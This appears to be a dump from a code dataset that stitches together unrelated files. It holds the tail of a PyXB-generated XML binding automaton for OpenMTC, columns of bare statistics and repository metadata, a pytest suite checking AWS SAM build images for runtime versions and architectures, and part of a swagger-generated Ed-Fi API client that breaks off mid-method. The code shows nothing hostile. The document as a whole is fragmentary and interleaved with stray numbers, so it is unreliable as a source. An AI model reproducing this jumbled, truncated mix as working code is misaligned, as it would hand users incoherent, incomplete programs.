pyxb.namespace.ExpandedName(Namespace, u'statusCode')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/responseNotify.xsd', 15, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(ResponseNotify._UseForTag( pyxb.namespace.ExpandedName(None, u'representation')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/responseNotify.xsd', 16, 12)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(ResponseNotify._UseForTag( pyxb.namespace.ExpandedName(None, u'locationHeader')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/responseNotify.xsd', 18, 12)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(ResponseNotify._UseForTag( pyxb.namespace.ExpandedName(None, u'etagHeader')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/responseNotify.xsd', 19, 12)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(ResponseNotify._UseForTag( pyxb.namespace.ExpandedName(None, u'lastModifiedHeader')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/responseNotify.xsd', 20, 12)) st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_4) transitions = [] transitions.append(fac.Transition(st_1, [ ])) transitions.append(fac.Transition(st_2, [ ])) transitions.append(fac.Transition(st_3, [ ])) transitions.append(fac.Transition(st_4, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False)])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, True)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False)])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, True)])) st_4._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) ResponseNotify._Automaton = _BuildAutomaton_70()

48.775476

206

0.615886

53,264

494,437

5.56939

0.008505

0.085893

0.094482

0.114681

0.976693

0.973716

0.965676

0.957067

0.956764

0.955968

0

0.030961

0.272223

494,437

10,136

207

48.780288

0.793428

0.009213

0

0.909052

0

0.091266

0.132123

0.099375

0

null

0

0.008384

null

0

null

0

1

0

1

0

null

0

1

0

8

ac66dc6f5ef1891b5ddbce484526c993527df3de

13,029

py

Python

tests/test_build_images.py

aws/aws-sam-build-images

2d66d25d766e35498872d462456a80d43634e622

[ "Apache-2.0" ]

18

2021-03-12T22:14:49.000Z

2022-03-14T14:32:37.000Z

tests/test_build_images.py

aws/aws-sam-build-images

2d66d25d766e35498872d462456a80d43634e622

[ "Apache-2.0" ]

14

2021-04-02T13:59:55.000Z

2022-01-27T14:52:00.000Z

tests/test_build_images.py

aws/aws-sam-build-images

2d66d25d766e35498872d462456a80d43634e622

[ "Apache-2.0" ]

16

2021-03-15T17:36:37.000Z

2022-02-23T06:38:23.000Z

import pytest from tests.build_image_base_test import BuildImageBase @pytest.mark.java8 class TestBIJava8(BuildImageBase): __test__ = True @classmethod def setUpClass(cls): super().setUpClass("java8", "Dockerfile-java8", "maven") def test_packages(self): """ Test packages specific to this build image """ self.assertTrue( self.check_package_output("java -version", 'openjdk version "1.8', True) ) self.assertTrue(self.is_package_present("mvn")) self.assertTrue(self.is_package_present("gradle")) self.assertTrue(self.is_architecture("x86_64")) @pytest.mark.java8_al2 class TestBIJava8AL2(BuildImageBase): __test__ = True @classmethod def setUpClass(cls): super().setUpClass("java8.al2", "Dockerfile-java8-al2", "gradle", tag="x86_64") def test_packages(self): """ Test packages specific to this build image """ self.assertTrue( self.check_package_output("java -version", 'openjdk version "1.8', True) ) self.assertTrue(self.is_package_present("mvn")) self.assertTrue(self.is_package_present("gradle")) self.assertTrue(self.is_architecture("x86_64")) @pytest.mark.java8_al2 class TestBIJava8AL2ForArm(BuildImageBase): __test__ = True @classmethod def setUpClass(cls): super().setUpClass("java8.al2", "Dockerfile-java8-al2", "gradle", tag="arm64") def test_packages(self): """ Test packages specific to this build image """ self.assertTrue( self.check_package_output("java -version", 'openjdk version "1.8', True) ) self.assertTrue(self.is_package_present("mvn")) self.assertTrue(self.is_package_present("gradle")) self.assertTrue(self.is_architecture("aarch64")) @pytest.mark.java11 class TestBIJava11(BuildImageBase): __test__ = True @classmethod def setUpClass(cls): super().setUpClass("java11", "Dockerfile-java11", "maven", tag="x86_64") def test_packages(self): """ Test packages specific to this build image """ self.assertTrue( self.check_package_output("java -version", 'openjdk version "11.0.', True) ) self.assertTrue(self.is_package_present("mvn")) self.assertTrue(self.is_package_present("gradle")) self.assertTrue(self.is_architecture("x86_64")) @pytest.mark.java11 class TestBIJava11ForArm(BuildImageBase): __test__ = True @classmethod def setUpClass(cls): super().setUpClass("java11", "Dockerfile-java11", "maven", tag="arm64") def test_packages(self): """ Test packages specific to this build image """ self.assertTrue( self.check_package_output("java -version", 'openjdk version "11.0.', True) ) self.assertTrue(self.is_package_present("mvn")) self.assertTrue(self.is_package_present("gradle")) self.assertTrue(self.is_architecture("aarch64")) @pytest.mark.nodejs10x class TestBINode10(BuildImageBase): __test__ = True @classmethod def setUpClass(cls): super().setUpClass("nodejs10.x", "Dockerfile-nodejs10x", "npm") def test_packages(self): """ Test packages specific to this build image """ self.assertTrue(self.check_package_output("node --version", "v10.")) self.assertTrue(self.is_package_present("npm")) self.assertTrue(self.is_architecture("x86_64")) @pytest.mark.nodejs12x class TestBINode12(BuildImageBase): __test__ = True @classmethod def setUpClass(cls): super().setUpClass("nodejs12.x", "Dockerfile-nodejs12x", "npm", tag="x86_64") def test_packages(self): """ Test packages specific to this build image """ self.assertTrue(self.check_package_output("node --version", "v12.")) self.assertTrue(self.is_package_present("npm")) self.assertTrue(self.is_architecture("x86_64")) @pytest.mark.nodejs12x class TestBINode12ForArm(BuildImageBase): __test__ = True @classmethod def setUpClass(cls): super().setUpClass("nodejs12.x", "Dockerfile-nodejs12x", "npm", tag="arm64") def test_packages(self): """ Test packages specific to this build image """ self.assertTrue(self.check_package_output("node --version", "v12.")) self.assertTrue(self.is_package_present("npm")) self.assertTrue(self.is_architecture("aarch64")) @pytest.mark.nodejs14x class TestBINode14(BuildImageBase): __test__ = True @classmethod def setUpClass(cls): super().setUpClass("nodejs14.x", "Dockerfile-nodejs14x", "npm", tag="x86_64") def test_packages(self): """ Test packages specific to this build image """ self.assertTrue(self.check_package_output("node --version", "v14.")) self.assertTrue(self.is_package_present("npm")) self.assertTrue(self.is_architecture("x86_64")) @pytest.mark.nodejs14x class TestBINode14ForArm(BuildImageBase): __test__ = True @classmethod def setUpClass(cls): super().setUpClass("nodejs14.x", "Dockerfile-nodejs14x", "npm", tag="arm64") def test_packages(self): """ Test packages specific to this build image """ self.assertTrue(self.check_package_output("node --version", "v14.")) self.assertTrue(self.is_package_present("npm")) self.assertTrue(self.is_architecture("aarch64")) @pytest.mark.python27 class TestBIPython27(BuildImageBase): __test__ = True @classmethod def setUpClass(cls): super().setUpClass("python2.7", "Dockerfile-python27", "pip") def test_packages(self): """ Test packages specific to this build image """ self.assertTrue( self.check_package_output("python --version", "Python 2.7.", True) ) self.assertTrue(self.is_package_present("pip")) self.assertTrue(self.is_architecture("x86_64")) @pytest.mark.python36 class TestBIPython36(BuildImageBase): __test__ = True @classmethod def setUpClass(cls): super().setUpClass("python3.6", "Dockerfile-python36", "pip") def test_packages(self): """ Test packages specific to this build image """ self.assertTrue(self.check_package_output("python --version", "Python 3.6.")) self.assertTrue(self.is_package_present("pip")) self.assertTrue(self.is_architecture("x86_64")) @pytest.mark.python37 class TestBIPython37(BuildImageBase): __test__ = True @classmethod def setUpClass(cls): super().setUpClass("python3.7", "Dockerfile-python37", "pip") def test_packages(self): """ Test packages specific to this build image """ self.assertTrue(self.check_package_output("python --version", "Python 3.7.")) self.assertTrue(self.is_package_present("pip")) self.assertTrue(self.is_architecture("x86_64")) @pytest.mark.python38 class TestBIPython38(BuildImageBase): __test__ = True @classmethod def setUpClass(cls): super().setUpClass("python3.8", "Dockerfile-python38", "pip", tag="x86_64") def test_packages(self): """ Test packages specific to this build image """ self.assertTrue(self.check_package_output("python --version", "Python 3.8.")) self.assertTrue(self.is_package_present("pip")) self.assertTrue(self.is_architecture("x86_64")) @pytest.mark.python38 class TestBIPython38ForArm(BuildImageBase): __test__ = True @classmethod def setUpClass(cls): super().setUpClass("python3.8", "Dockerfile-python38", "pip", tag="arm64") def test_packages(self): """ Test packages specific to this build image """ self.assertTrue(self.check_package_output("python --version", "Python 3.8.")) self.assertTrue(self.is_package_present("pip")) self.assertTrue(self.is_architecture("aarch64")) @pytest.mark.python39 class TestBIPython39(BuildImageBase): __test__ = True @classmethod def setUpClass(cls): super().setUpClass("python3.9", "Dockerfile-python39", "pip", tag="x86_64") def test_packages(self): """ Test packages specific to this build image """ self.assertTrue(self.check_package_output("python --version", "Python 3.9.")) self.assertTrue(self.is_package_present("pip")) @pytest.mark.python39 class TestBIPython39ForArm(BuildImageBase): __test__ = True @classmethod def setUpClass(cls): super().setUpClass("python3.9", "Dockerfile-python39", "pip", tag="arm64") def test_packages(self): """ Test packages specific to this build image """ self.assertTrue(self.check_package_output("python --version", "Python 3.9.")) self.assertTrue(self.is_package_present("pip")) @pytest.mark.dotnetcore31 class TestBIDotNetCore31(BuildImageBase): __test__ = True @classmethod def setUpClass(cls): super().setUpClass("dotnetcore3.1", "Dockerfile-dotnetcore31", tag="x86_64") def test_packages(self): """ Test packages specific to this build image """ self.assertTrue(self.check_package_output("dotnet --version", "3.1")) self.assertTrue(self.is_package_present("dotnet")) @pytest.mark.dotnetcore31 class TestBIDotNetCore31Arm(BuildImageBase): __test__ = True @classmethod def setUpClass(cls): super().setUpClass("dotnetcore3.1", "Dockerfile-dotnetcore31", tag="arm64") def test_packages(self): """ Test packages specific to this build image """ self.assertTrue(self.check_package_output("dotnet --version", "3.1")) self.assertTrue(self.is_package_present("dotnet")) @pytest.mark.ruby25 class TestBIRuby25(BuildImageBase): __test__ = True @classmethod def setUpClass(cls): super().setUpClass("ruby2.5", "Dockerfile-ruby25", "bundler") def test_packages(self): """ Test packages specific to this build image """ self.assertTrue(self.check_package_output("ruby --version", "ruby 2.5.")) self.assertTrue(self.is_package_present("bundler")) self.assertTrue(self.is_package_present("gem")) self.assertTrue(self.is_architecture("x86_64")) @pytest.mark.ruby27 class TestBIRuby27(BuildImageBase): __test__ = True @classmethod def setUpClass(cls): super().setUpClass("ruby2.7", "Dockerfile-ruby27", "bundler", tag="x86_64") def test_packages(self): """ Test packages specific to this build image """ self.assertTrue(self.check_package_output("ruby --version", "ruby 2.7.")) self.assertTrue(self.is_package_present("bundler")) self.assertTrue(self.is_package_present("gem")) self.assertTrue(self.is_architecture("x86_64")) @pytest.mark.ruby27 class TestBIRuby27ForArm(BuildImageBase): __test__ = True @classmethod def setUpClass(cls): super().setUpClass("ruby2.7", "Dockerfile-ruby27", "bundler", tag="arm64") def test_packages(self): """ Test packages specific to this build image """ self.assertTrue(self.check_package_output("ruby --version", "ruby 2.7.")) self.assertTrue(self.is_package_present("bundler")) self.assertTrue(self.is_package_present("gem")) self.assertTrue(self.is_architecture("aarch64")) @pytest.mark.go1x class TestBIGo1(BuildImageBase): __test__ = True @classmethod def setUpClass(cls): super().setUpClass("go1.x", "Dockerfile-go1x", "mod") def test_packages(self): """ Test packages specific to this build image """ self.assertTrue(self.check_package_output("go version", "go1.")) self.assertTrue(self.is_package_present("go")) @pytest.mark.provided class TestBIProvided(BuildImageBase): __test__ = True @classmethod def setUpClass(cls): super().setUpClass("provided", "Dockerfile-provided") @pytest.mark.provided_al2 class TestBIProvidedAL2(BuildImageBase): __test__ = True @classmethod def setUpClass(cls): super().setUpClass("provided.al2", "Dockerfile-provided-al2", tag="x86_64") def test_architecture(self): """ Test architecture of this build image """ self.assertTrue(self.is_architecture("x86_64")) @pytest.mark.provided_al2 class TestBIProvidedAL2ForArm(BuildImageBase): __test__ = True @classmethod def setUpClass(cls): super().setUpClass("provided.al2", "Dockerfile-provided-al2", tag="arm64") def test_architecture(self): """ Test architecture of this build image """ self.assertTrue(self.is_architecture("aarch64"))

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ac745e4e9d6f8899456a60f6eb730f112fe36adb

38,989

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Python

src/v5.3/resources/swagger_client/api/post_secondary_institutions_api.py

xmarcosx/edfi-notebook

0564ebdf1d0f45a9d25056e7e61369f0a837534d

[ "Apache-2.0" ]

2

2021-04-27T17:18:17.000Z

2021-04-27T19:14:39.000Z

src/v5.3/resources/swagger_client/api/post_secondary_institutions_api.py

xmarcosx/edfi-notebook

0564ebdf1d0f45a9d25056e7e61369f0a837534d

[ "Apache-2.0" ]

null

src/v5.3/resources/swagger_client/api/post_secondary_institutions_api.py

xmarcosx/edfi-notebook

0564ebdf1d0f45a9d25056e7e61369f0a837534d

[ "Apache-2.0" ]

1

2022-01-06T09:43:11.000Z

# coding: utf-8 """ Ed-Fi Operational Data Store API The Ed-Fi ODS / API enables applications to read and write education data stored in an Ed-Fi ODS through a secure REST interface. *** > *Note: Consumers of ODS / API information should sanitize all data for display and storage. The ODS / API provides reasonable safeguards against cross-site scripting attacks and other malicious content, but the platform does not and cannot guarantee that the data it contains is free of all potentially harmful content.* *** # noqa: E501 OpenAPI spec version: 3 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import re # noqa: F401 # python 2 and python 3 compatibility library import six from swagger_client.api_client import ApiClient class PostSecondaryInstitutionsApi(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. Ref: https://github.com/swagger-api/swagger-codegen """ def __init__(self, api_client=None): if api_client is None: api_client = ApiClient() self.api_client = api_client def delete_post_secondary_institution_by_id(self, id, **kwargs): # noqa: E501 """Deletes an existing resource using the resource identifier. # noqa: E501 The DELETE operation is used to delete an existing resource by identifier. If the resource doesn't exist, an error will result (the resource will not be found). # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_post_secondary_institution_by_id(id, async_req=True) >>> result = thread.get() :param async_req bool :param str id: A resource identifier that uniquely identifies the resource. (required) :param str if_match: The ETag header value used to prevent the DELETE from removing a resource modified by another consumer. :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.delete_post_secondary_institution_by_id_with_http_info(id, **kwargs) # noqa: E501 else: (data) = self.delete_post_secondary_institution_by_id_with_http_info(id, **kwargs) # noqa: E501 return data def delete_post_secondary_institution_by_id_with_http_info(self, id, **kwargs): # noqa: E501 """Deletes an existing resource using the resource identifier. # noqa: E501 The DELETE operation is used to delete an existing resource by identifier. If the resource doesn't exist, an error will result (the resource will not be found). # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_post_secondary_institution_by_id_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool :param str id: A resource identifier that uniquely identifies the resource. (required) :param str if_match: The ETag header value used to prevent the DELETE from removing a resource modified by another consumer. :return: None If the method is called asynchronously, returns the request thread. """ all_params = ['id', 'if_match'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method delete_post_secondary_institution_by_id" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in params or params['id'] is None): # noqa: E501 raise ValueError("Missing the required parameter `id` when calling `delete_post_secondary_institution_by_id`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in params: path_params['id'] = params['id'] # noqa: E501 query_params = [] header_params = {} if 'if_match' in params: header_params['If-Match'] = params['if_match'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['oauth2_client_credentials'] # noqa: E501 return self.api_client.call_api( '/ed-fi/postSecondaryInstitutions/{id}', 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def deletes_post_secondary_institutions(self, **kwargs): # noqa: E501 """Retrieves deleted resources based on change version. # noqa: E501 The DELETES operation is used to retrieve deleted resources. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.deletes_post_secondary_institutions(async_req=True) >>> result = thread.get() :param async_req bool :param int offset: Indicates how many items should be skipped before returning results. :param int limit: Indicates the maximum number of items that should be returned in the results. :param int min_change_version: Used in synchronization to set sequence minimum ChangeVersion :param int max_change_version: Used in synchronization to set sequence maximum ChangeVersion :param str snapshot_identifier: Indicates the Snapshot-Identifier that should be used. :return: list[DeletedResource] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.deletes_post_secondary_institutions_with_http_info(**kwargs) # noqa: E501 else: (data) = self.deletes_post_secondary_institutions_with_http_info(**kwargs) # noqa: E501 return data def deletes_post_secondary_institutions_with_http_info(self, **kwargs): # noqa: E501 """Retrieves deleted resources based on change version. # noqa: E501 The DELETES operation is used to retrieve deleted resources. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.deletes_post_secondary_institutions_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool :param int offset: Indicates how many items should be skipped before returning results. :param int limit: Indicates the maximum number of items that should be returned in the results. :param int min_change_version: Used in synchronization to set sequence minimum ChangeVersion :param int max_change_version: Used in synchronization to set sequence maximum ChangeVersion :param str snapshot_identifier: Indicates the Snapshot-Identifier that should be used. :return: list[DeletedResource] If the method is called asynchronously, returns the request thread. """ all_params = ['offset', 'limit', 'min_change_version', 'max_change_version', 'snapshot_identifier'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method deletes_post_secondary_institutions" % key ) params[key] = val del params['kwargs'] if self.api_client.client_side_validation and ('limit' in params and params['limit'] > 500): # noqa: E501 raise ValueError("Invalid value for parameter `limit` when calling `deletes_post_secondary_institutions`, must be a value less than or equal to `500`") # noqa: E501 if self.api_client.client_side_validation and ('limit' in params and params['limit'] < 0): # noqa: E501 raise ValueError("Invalid value for parameter `limit` when calling `deletes_post_secondary_institutions`, must be a value greater than or equal to `0`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] if 'offset' in params: query_params.append(('offset', params['offset'])) # noqa: E501 if 'limit' in params: query_params.append(('limit', params['limit'])) # noqa: E501 if 'min_change_version' in params: query_params.append(('minChangeVersion', params['min_change_version'])) # noqa: E501 if 'max_change_version' in params: query_params.append(('maxChangeVersion', params['max_change_version'])) # noqa: E501 header_params = {} if 'snapshot_identifier' in params: header_params['Snapshot-Identifier'] = params['snapshot_identifier'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['oauth2_client_credentials'] # noqa: E501 return self.api_client.call_api( '/ed-fi/postSecondaryInstitutions/deletes', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[DeletedResource]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_post_secondary_institutions(self, **kwargs): # noqa: E501 """Retrieves specific resources using the resource's property values (using the \"Get\" pattern). # noqa: E501 This GET operation provides access to resources using the \"Get\" search pattern. The values of any properties of the resource that are specified will be used to return all matching results (if it exists). # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_post_secondary_institutions(async_req=True) >>> result = thread.get() :param async_req bool :param int offset: Indicates how many items should be skipped before returning results. :param int limit: Indicates the maximum number of items that should be returned in the results. :param int min_change_version: Used in synchronization to set sequence minimum ChangeVersion :param int max_change_version: Used in synchronization to set sequence maximum ChangeVersion :param bool total_count: Indicates if the total number of items available should be returned in the 'Total-Count' header of the response. If set to false, 'Total-Count' header will not be provided. :param int post_secondary_institution_id: The ID of the post secondary institution. :param str administrative_funding_control_descriptor: A classification of whether a postsecondary institution is operated by publicly elected or appointed officials (public control) or by privately elected or appointed officials and derives its major source of funds from private sources (private control). :param str post_secondary_institution_level_descriptor: A classification of whether a post secondary institution's highest level of offering is a program of 4-years or higher (4 year), 2-but-less-than 4-years (2 year), or less than 2-years. :param str snapshot_identifier: Indicates the Snapshot-Identifier that should be used. :return: list[EdFiPostSecondaryInstitution] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_post_secondary_institutions_with_http_info(**kwargs) # noqa: E501 else: (data) = self.get_post_secondary_institutions_with_http_info(**kwargs) # noqa: E501 return data def get_post_secondary_institutions_with_http_info(self, **kwargs): # noqa: E501 """Retrieves specific resources using the resource's property values (using the \"Get\" pattern). # noqa: E501 This GET operation provides access to resources using the \"Get\" search pattern. The values of any properties of the resource that are specified will be used to return all matching results (if it exists). # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_post_secondary_institutions_with_http_info(async_req=True) >>> result = thread.get() :param async_req bool :param int offset: Indicates how many items should be skipped before returning results. :param int limit: Indicates the maximum number of items that should be returned in the results. :param int min_change_version: Used in synchronization to set sequence minimum ChangeVersion :param int max_change_version: Used in synchronization to set sequence maximum ChangeVersion :param bool total_count: Indicates if the total number of items available should be returned in the 'Total-Count' header of the response. If set to false, 'Total-Count' header will not be provided. :param int post_secondary_institution_id: The ID of the post secondary institution. :param str administrative_funding_control_descriptor: A classification of whether a postsecondary institution is operated by publicly elected or appointed officials (public control) or by privately elected or appointed officials and derives its major source of funds from private sources (private control). :param str post_secondary_institution_level_descriptor: A classification of whether a post secondary institution's highest level of offering is a program of 4-years or higher (4 year), 2-but-less-than 4-years (2 year), or less than 2-years. :param str snapshot_identifier: Indicates the Snapshot-Identifier that should be used. :return: list[EdFiPostSecondaryInstitution] If the method is called asynchronously, returns the request thread. """ all_params = ['offset', 'limit', 'min_change_version', 'max_change_version', 'total_count', 'post_secondary_institution_id', 'administrative_funding_control_descriptor', 'post_secondary_institution_level_descriptor', 'snapshot_identifier'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_post_secondary_institutions" % key ) params[key] = val del params['kwargs'] if self.api_client.client_side_validation and ('limit' in params and params['limit'] > 500): # noqa: E501 raise ValueError("Invalid value for parameter `limit` when calling `get_post_secondary_institutions`, must be a value less than or equal to `500`") # noqa: E501 if self.api_client.client_side_validation and ('limit' in params and params['limit'] < 0): # noqa: E501 raise ValueError("Invalid value for parameter `limit` when calling `get_post_secondary_institutions`, must be a value greater than or equal to `0`") # noqa: E501 if self.api_client.client_side_validation and ('administrative_funding_control_descriptor' in params and len(params['administrative_funding_control_descriptor']) > 306): raise ValueError("Invalid value for parameter `administrative_funding_control_descriptor` when calling `get_post_secondary_institutions`, length must be less than or equal to `306`") # noqa: E501 if self.api_client.client_side_validation and ('post_secondary_institution_level_descriptor' in params and len(params['post_secondary_institution_level_descriptor']) > 306): raise ValueError("Invalid value for parameter `post_secondary_institution_level_descriptor` when calling `get_post_secondary_institutions`, length must be less than or equal to `306`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] if 'offset' in params: query_params.append(('offset', params['offset'])) # noqa: E501 if 'limit' in params: query_params.append(('limit', params['limit'])) # noqa: E501 if 'min_change_version' in params: query_params.append(('minChangeVersion', params['min_change_version'])) # noqa: E501 if 'max_change_version' in params: query_params.append(('maxChangeVersion', params['max_change_version'])) # noqa: E501 if 'total_count' in params: query_params.append(('totalCount', params['total_count'])) # noqa: E501 if 'post_secondary_institution_id' in params: query_params.append(('postSecondaryInstitutionId', params['post_secondary_institution_id'])) # noqa: E501 if 'administrative_funding_control_descriptor' in params: query_params.append(('administrativeFundingControlDescriptor', params['administrative_funding_control_descriptor'])) # noqa: E501 if 'post_secondary_institution_level_descriptor' in params: query_params.append(('postSecondaryInstitutionLevelDescriptor', params['post_secondary_institution_level_descriptor'])) # noqa: E501 header_params = {} if 'snapshot_identifier' in params: header_params['Snapshot-Identifier'] = params['snapshot_identifier'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['oauth2_client_credentials'] # noqa: E501 return self.api_client.call_api( '/ed-fi/postSecondaryInstitutions', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[EdFiPostSecondaryInstitution]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_post_secondary_institutions_by_id(self, id, **kwargs): # noqa: E501 """Retrieves a specific resource using the resource's identifier (using the \"Get By Id\" pattern). # noqa: E501 This GET operation retrieves a resource by the specified resource identifier. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_post_secondary_institutions_by_id(id, async_req=True) >>> result = thread.get() :param async_req bool :param str id: A resource identifier that uniquely identifies the resource. (required) :param str if_none_match: The previously returned ETag header value, used here to prevent the unnecessary data transfer of an unchanged resource. :param str snapshot_identifier: Indicates the Snapshot-Identifier that should be used. :return: EdFiPostSecondaryInstitution If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_post_secondary_institutions_by_id_with_http_info(id, **kwargs) # noqa: E501 else: (data) = self.get_post_secondary_institutions_by_id_with_http_info(id, **kwargs) # noqa: E501 return data def get_post_secondary_institutions_by_id_with_http_info(self, id, **kwargs): # noqa: E501 """Retrieves a specific resource using the resource's identifier (using the \"Get By Id\" pattern). # noqa: E501 This GET operation retrieves a resource by the specified resource identifier. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_post_secondary_institutions_by_id_with_http_info(id, async_req=True) >>> result = thread.get() :param async_req bool :param str id: A resource identifier that uniquely identifies the resource. (required) :param str if_none_match: The previously returned ETag header value, used here to prevent the unnecessary data transfer of an unchanged resource. :param str snapshot_identifier: Indicates the Snapshot-Identifier that should be used. :return: EdFiPostSecondaryInstitution If the method is called asynchronously, returns the request thread. """ all_params = ['id', 'if_none_match', 'snapshot_identifier'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_post_secondary_institutions_by_id" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'id' is set if self.api_client.client_side_validation and ('id' not in params or params['id'] is None): # noqa: E501 raise ValueError("Missing the required parameter `id` when calling `get_post_secondary_institutions_by_id`") # noqa: E501 collection_formats = {} path_params = {} if 'id' in params: path_params['id'] = params['id'] # noqa: E501 query_params = [] header_params = {} if 'if_none_match' in params: header_params['If-None-Match'] = params['if_none_match'] # noqa: E501 if 'snapshot_identifier' in params: header_params['Snapshot-Identifier'] = params['snapshot_identifier'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` 